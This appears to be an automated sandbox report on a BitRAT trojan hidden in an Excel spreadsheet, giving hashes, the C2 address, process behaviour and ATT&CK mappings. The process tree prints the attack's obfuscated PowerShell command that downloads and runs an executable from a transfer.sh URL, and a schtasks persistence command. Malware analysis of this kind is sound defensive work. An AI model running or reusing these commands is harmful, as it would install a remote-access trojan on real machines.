bitrat | d77795d4563d03c0ec79533ac468580fa94ae26a54b5e14e34c3d6bdf9ae51b0

General

Target

Documento_Orslgroup_S.R.L_09_2023.xls
Size

100KB
MD5

c678822324d3db11afb66ad4dc9a5bb8
SHA1

db82a3d3de0b0d90cc302e903e18dd9d2fb684c4
SHA256

d77795d4563d03c0ec79533ac468580fa94ae26a54b5e14e34c3d6bdf9ae51b0
SHA512

7a753d605ee1e5e14d3dbf0a67feb80c8fee21c0bdc7cba36298eead743b541e65d5d4d3f25124ec8d4ad54c38744f244bb721f7c0edb76d1a3441c0d291d03e
SSDEEP

3072:BrxEtjPOtioVjDGUU1qfDlaGGx+cL2QnA9tJE2zuxq+fr9wBLa71ba2ryLTHeYD:pxEtjPOtioVjDGUU1qfDlavx+W2QnAnF

Score

10^/10

bitrat trojan

Malware Config

Extracted

Family

bitrat

Version

1.38

C2

185.225.75.68:3569

Attributes

communication_password
0edcbe7d888380c49e7d1dcf67b6ea6e
tor_process
tor

Signatures

BitRAT
BitRAT is a remote access tool written in C++ and uses leaked source code from other families.
trojan bitrat

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	708	4748	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

36 1000 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 3 IoCs

Processes:

pxpr0.exepxpr0.exehope.exe

pid process

3916 pxpr0.exe
700 pxpr0.exe
3052 hope.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

pxpr0.exe

description pid process target process

PID 3916 set thread context of 700 3916 pxpr0.exe pxpr0.exe
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

5108 700 WerFault.exe pxpr0.exe

flow	pid	process
36	1000	powershell.exe

pid	process
3916	pxpr0.exe
700	pxpr0.exe
3052	hope.exe

description	pid	process	target process
PID 3916 set thread context of 700	3916	pxpr0.exe	pxpr0.exe

pid	pid_target	process	target process
5108	700	WerFault.exe	pxpr0.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE

Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exe

pid process

3452 schtasks.exe

pid	process
3452	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

4748 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1000 powershell.exe
1000 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1000 powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

EXCEL.EXE

pid process

4748 EXCEL.EXE
4748 EXCEL.EXE

pid	process
1000	powershell.exe
1000	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1000	powershell.exe

Suspicious use of SetWindowsHookEx 14 IoCs

Processes:

EXCEL.EXE

pid	process
4748	EXCEL.EXE
4748	EXCEL.EXE
4748	EXCEL.EXE
4748	EXCEL.EXE
4748	EXCEL.EXE
4748	EXCEL.EXE
4748	EXCEL.EXE
4748	EXCEL.EXE
4748	EXCEL.EXE
4748	EXCEL.EXE
4748	EXCEL.EXE
4748	EXCEL.EXE
4748	EXCEL.EXE
4748	EXCEL.EXE

Suspicious use of WriteProcessMemory 30 IoCs

Processes:

EXCEL.EXEcmd.exepowershell.exepxpr0.execmd.exe

description	pid	process	target process
PID 4748 wrote to memory of 708	4748	EXCEL.EXE	cmd.exe
PID 4748 wrote to memory of 708	4748	EXCEL.EXE	cmd.exe
PID 708 wrote to memory of 1000	708	cmd.exe	powershell.exe
PID 708 wrote to memory of 1000	708	cmd.exe	powershell.exe
PID 1000 wrote to memory of 3916	1000	powershell.exe	pxpr0.exe
PID 1000 wrote to memory of 3916	1000	powershell.exe	pxpr0.exe
PID 1000 wrote to memory of 3916	1000	powershell.exe	pxpr0.exe
PID 3916 wrote to memory of 700	3916	pxpr0.exe	pxpr0.exe
PID 3916 wrote to memory of 700	3916	pxpr0.exe	pxpr0.exe
PID 3916 wrote to memory of 700	3916	pxpr0.exe	pxpr0.exe
PID 3916 wrote to memory of 700	3916	pxpr0.exe	pxpr0.exe
PID 3916 wrote to memory of 700	3916	pxpr0.exe	pxpr0.exe
PID 3916 wrote to memory of 700	3916	pxpr0.exe	pxpr0.exe
PID 3916 wrote to memory of 700	3916	pxpr0.exe	pxpr0.exe
PID 3916 wrote to memory of 700	3916	pxpr0.exe	pxpr0.exe
PID 3916 wrote to memory of 700	3916	pxpr0.exe	pxpr0.exe
PID 3916 wrote to memory of 700	3916	pxpr0.exe	pxpr0.exe
PID 3916 wrote to memory of 700	3916	pxpr0.exe	pxpr0.exe
PID 3916 wrote to memory of 3444	3916	pxpr0.exe	cmd.exe
PID 3916 wrote to memory of 3444	3916	pxpr0.exe	cmd.exe
PID 3916 wrote to memory of 3444	3916	pxpr0.exe	cmd.exe
PID 3916 wrote to memory of 748	3916	pxpr0.exe	cmd.exe
PID 3916 wrote to memory of 748	3916	pxpr0.exe	cmd.exe
PID 3916 wrote to memory of 748	3916	pxpr0.exe	cmd.exe
PID 3916 wrote to memory of 4924	3916	pxpr0.exe	cmd.exe
PID 3916 wrote to memory of 4924	3916	pxpr0.exe	cmd.exe
PID 3916 wrote to memory of 4924	3916	pxpr0.exe	cmd.exe
PID 748 wrote to memory of 3452	748	cmd.exe	schtasks.exe
PID 748 wrote to memory of 3452	748	cmd.exe	schtasks.exe
PID 748 wrote to memory of 3452	748	cmd.exe	schtasks.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Documento_Orslgroup_S.R.L_09_2023.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4748

C:\Windows\SYSTEM32\cmd.exe
cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://transfer.sh/get/SkazYLa2BT/happy.e^xe -o C:\Users\Public\pxpr0.exe;C:\Users\Public\pxpr0.exe
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:708

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell /W 01 curl https://transfer.sh/get/SkazYLa2BT/happy.exe -o C:\Users\Public\pxpr0.exe;C:\Users\Public\pxpr0.exe
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1000

C:\Users\Public\pxpr0.exe
"C:\Users\Public\pxpr0.exe"
4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3916

C:\Users\Public\pxpr0.exe
"C:\Users\Public\pxpr0.exe"
5⤵
- Executes dropped EXE
PID:700

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 700 -s 188
6⤵
- Program crash
PID:5108

C:\Windows\SysWOW64\cmd.exe
"cmd" /c copy "C:\Users\Public\pxpr0.exe" "C:\Users\Admin\AppData\Roaming\hope\hope.exe"
5⤵
PID:4924

C:\Windows\SysWOW64\cmd.exe
"cmd" /c schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\hope\hope.exe'" /f
5⤵
- Suspicious use of WriteProcessMemory
PID:748

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\hope\hope.exe'" /f
6⤵
- Creates scheduled task(s)
PID:3452

C:\Windows\SysWOW64\cmd.exe
"cmd" /c mkdir "C:\Users\Admin\AppData\Roaming\hope"
5⤵
PID:3444

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 188 -p 700 -ip 700
1⤵
PID:3628

C:\Users\Admin\AppData\Roaming\hope\hope.exe
C:\Users\Admin\AppData\Roaming\hope\hope.exe
1⤵
- Executes dropped EXE
PID:3052

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1

T1053

Persistence

Scheduled Task/Job

1

T1053

Privilege Escalation

Scheduled Task/Job

1

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xchoc0xk.5jj.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\hope\hope.exe
Filesize
7.6MB

MD5
9f42c993b0f9560fce2ac89d5b823b3b

SHA1
7c3ae9d0a92335ec5076490af4544a071d69c6d4

SHA256
3e6692760e61b3e71675a24f7b5b50cde09cabf750ede2a9a365c8e482c61943

SHA512
867eaa8455f4314e355241374b0eb80bcc7d6f932330e82c0a18a8e79caba014f35621c2bc0e345d294eb95bcecfcfed7652b058c88ae52ebfa82436cc59d379

Download Submit
C:\Users\Admin\AppData\Roaming\hope\hope.exe
Filesize
1.1MB

MD5
668188a453e8a4597b3164afbed8f6aa

SHA1
262995835e9b945b2a05bb0912d20fe1b5d2d96a

SHA256
f3e481c780dbf6945e63cb0bef9c6242501822d1a692e5a0bb731b919fe00c74

SHA512
07534bc0758d9c2e60d7a75765986f019cbcb6c04b29f9e2bf8e437a4faeb60fa2cd082928cc99ef26b8ea034b8e6292c3bbae56bd9225d0c25fb0e0782fcbcc

Download Submit
C:\Users\Admin\AppData\Roaming\hope\hope.exe
Filesize
2.9MB

MD5
c17d542c4fddd363605a076f41d75820

SHA1
1f471e59d310846850ca78ff9ca407428d5b1e6c

SHA256
2c324acdc8de83b5ee135fa75f252f324461722219ce1d710371d9b80e4e57c0

SHA512
a13b732b3954ced8e48afbb37eb6fc847a410a7aa00eae55efa41e43e3511abc19ab2d5c35c12e27f43a92249504d711c128cdfde77fd7d6af19d49750076683

Download Submit
C:\Users\Public\pxpr0.exe
Filesize
7.6MB

MD5
9f42c993b0f9560fce2ac89d5b823b3b

SHA1
7c3ae9d0a92335ec5076490af4544a071d69c6d4

SHA256
3e6692760e61b3e71675a24f7b5b50cde09cabf750ede2a9a365c8e482c61943

SHA512
867eaa8455f4314e355241374b0eb80bcc7d6f932330e82c0a18a8e79caba014f35621c2bc0e345d294eb95bcecfcfed7652b058c88ae52ebfa82436cc59d379

Download Submit
C:\Users\Public\pxpr0.exe
Filesize
7.6MB

MD5
9f42c993b0f9560fce2ac89d5b823b3b

SHA1
7c3ae9d0a92335ec5076490af4544a071d69c6d4

SHA256
3e6692760e61b3e71675a24f7b5b50cde09cabf750ede2a9a365c8e482c61943

SHA512
867eaa8455f4314e355241374b0eb80bcc7d6f932330e82c0a18a8e79caba014f35621c2bc0e345d294eb95bcecfcfed7652b058c88ae52ebfa82436cc59d379

Download Submit
C:\Users\Public\pxpr0.exe
Filesize
7.6MB

MD5
9f42c993b0f9560fce2ac89d5b823b3b

SHA1
7c3ae9d0a92335ec5076490af4544a071d69c6d4

SHA256
3e6692760e61b3e71675a24f7b5b50cde09cabf750ede2a9a365c8e482c61943

SHA512
867eaa8455f4314e355241374b0eb80bcc7d6f932330e82c0a18a8e79caba014f35621c2bc0e345d294eb95bcecfcfed7652b058c88ae52ebfa82436cc59d379

Download Submit
memory/700-88-0x0000000001300000-0x00000000016CE000-memory.dmp

Filesize
3.8MB

Download
memory/700-83-0x0000000001300000-0x00000000016CE000-memory.dmp

Filesize
3.8MB

Download
memory/700-78-0x0000000001300000-0x00000000016CE000-memory.dmp

Filesize
3.8MB

Download
memory/1000-45-0x000002CAF6810000-0x000002CAF6820000-memory.dmp

Filesize
64KB

Download
memory/1000-56-0x00007FFE6BF00000-0x00007FFE6C9C1000-memory.dmp

Filesize
10.8MB

Download
memory/1000-43-0x000002CAF6810000-0x000002CAF6820000-memory.dmp

Filesize
64KB

Download
memory/1000-33-0x000002CAF6270000-0x000002CAF6292000-memory.dmp

Filesize
136KB

Download
memory/1000-44-0x000002CAF6810000-0x000002CAF6820000-memory.dmp

Filesize
64KB

Download
memory/1000-42-0x00007FFE6BF00000-0x00007FFE6C9C1000-memory.dmp

Filesize
10.8MB

Download
memory/1000-57-0x000002CAF6810000-0x000002CAF6820000-memory.dmp

Filesize
64KB

Download
memory/1000-58-0x000002CAF6810000-0x000002CAF6820000-memory.dmp

Filesize
64KB

Download
memory/1000-61-0x000002CAF6810000-0x000002CAF6820000-memory.dmp

Filesize
64KB

Download
memory/1000-70-0x00007FFE6BF00000-0x00007FFE6C9C1000-memory.dmp

Filesize
10.8MB

Download
memory/3052-93-0x0000000074740000-0x0000000074EF0000-memory.dmp

Filesize
7.7MB

Download
memory/3916-71-0x0000000074740000-0x0000000074EF0000-memory.dmp

Filesize
7.7MB

Download
memory/3916-72-0x0000000000E10000-0x00000000015A4000-memory.dmp

Filesize
7.6MB

Download
memory/3916-73-0x00000000064A0000-0x0000000006A44000-memory.dmp

Filesize
5.6MB

Download
memory/3916-74-0x0000000005EE0000-0x0000000005EF0000-memory.dmp

Filesize
64KB

Download
memory/3916-75-0x0000000007A50000-0x00000000081DA000-memory.dmp

Filesize
7.5MB

Download
memory/3916-84-0x0000000074740000-0x0000000074EF0000-memory.dmp

Filesize
7.7MB

Download
memory/4748-30-0x000002213CB30000-0x000002213D330000-memory.dmp

Filesize
8.0MB

Download
memory/4748-9-0x00007FFE952F0000-0x00007FFE954E5000-memory.dmp

Filesize
2.0MB

Download
memory/4748-31-0x000002213CB30000-0x000002213D330000-memory.dmp

Filesize
8.0MB

Download
memory/4748-0-0x00007FFE55370000-0x00007FFE55380000-memory.dmp

Filesize
64KB

Download
memory/4748-46-0x00007FFE952F0000-0x00007FFE954E5000-memory.dmp

Filesize
2.0MB

Download
memory/4748-48-0x00007FFE952F0000-0x00007FFE954E5000-memory.dmp

Filesize
2.0MB

Download
memory/4748-49-0x00007FFE952F0000-0x00007FFE954E5000-memory.dmp

Filesize
2.0MB

Download
memory/4748-50-0x00007FFE952F0000-0x00007FFE954E5000-memory.dmp

Filesize
2.0MB

Download
memory/4748-51-0x00007FFE952F0000-0x00007FFE954E5000-memory.dmp

Filesize
2.0MB

Download
memory/4748-52-0x00007FFE952F0000-0x00007FFE954E5000-memory.dmp

Filesize
2.0MB

Download
memory/4748-53-0x000002213CB30000-0x000002213D330000-memory.dmp

Filesize
8.0MB

Download
memory/4748-54-0x000002213CB30000-0x000002213D330000-memory.dmp

Filesize
8.0MB

Download
memory/4748-55-0x000002213CB30000-0x000002213D330000-memory.dmp

Filesize
8.0MB

Download
memory/4748-10-0x00007FFE52C20000-0x00007FFE52C30000-memory.dmp

Filesize
64KB

Download
memory/4748-25-0x000002213CB30000-0x000002213D330000-memory.dmp

Filesize
8.0MB

Download
memory/4748-21-0x00007FFE952F0000-0x00007FFE954E5000-memory.dmp

Filesize
2.0MB

Download
memory/4748-20-0x00007FFE952F0000-0x00007FFE954E5000-memory.dmp

Filesize
2.0MB

Download
memory/4748-11-0x00007FFE952F0000-0x00007FFE954E5000-memory.dmp

Filesize
2.0MB

Download
memory/4748-8-0x00007FFE952F0000-0x00007FFE954E5000-memory.dmp

Filesize
2.0MB

Download
memory/4748-16-0x00007FFE52C20000-0x00007FFE52C30000-memory.dmp

Filesize
64KB

Download
memory/4748-18-0x00007FFE952F0000-0x00007FFE954E5000-memory.dmp

Filesize
2.0MB

Download
memory/4748-19-0x00007FFE952F0000-0x00007FFE954E5000-memory.dmp

Filesize
2.0MB

Download
memory/4748-17-0x00007FFE952F0000-0x00007FFE954E5000-memory.dmp

Filesize
2.0MB

Download
memory/4748-15-0x00007FFE952F0000-0x00007FFE954E5000-memory.dmp

Filesize
2.0MB

Download
memory/4748-14-0x00007FFE952F0000-0x00007FFE954E5000-memory.dmp

Filesize
2.0MB

Download
memory/4748-7-0x00007FFE952F0000-0x00007FFE954E5000-memory.dmp

Filesize
2.0MB

Download
memory/4748-6-0x00007FFE55370000-0x00007FFE55380000-memory.dmp

Filesize
64KB

Download
memory/4748-12-0x00007FFE952F0000-0x00007FFE954E5000-memory.dmp

Filesize
2.0MB

Download
memory/4748-5-0x00007FFE55370000-0x00007FFE55380000-memory.dmp

Filesize
64KB

Download
memory/4748-2-0x00007FFE55370000-0x00007FFE55380000-memory.dmp

Filesize
64KB

Download
memory/4748-4-0x00007FFE952F0000-0x00007FFE954E5000-memory.dmp

Filesize
2.0MB

Download
memory/4748-3-0x00007FFE55370000-0x00007FFE55380000-memory.dmp

Filesize
64KB

Download
memory/4748-1-0x00007FFE952F0000-0x00007FFE954E5000-memory.dmp

Filesize
2.0MB

Download
memory/4748-13-0x00007FFE952F0000-0x00007FFE954E5000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads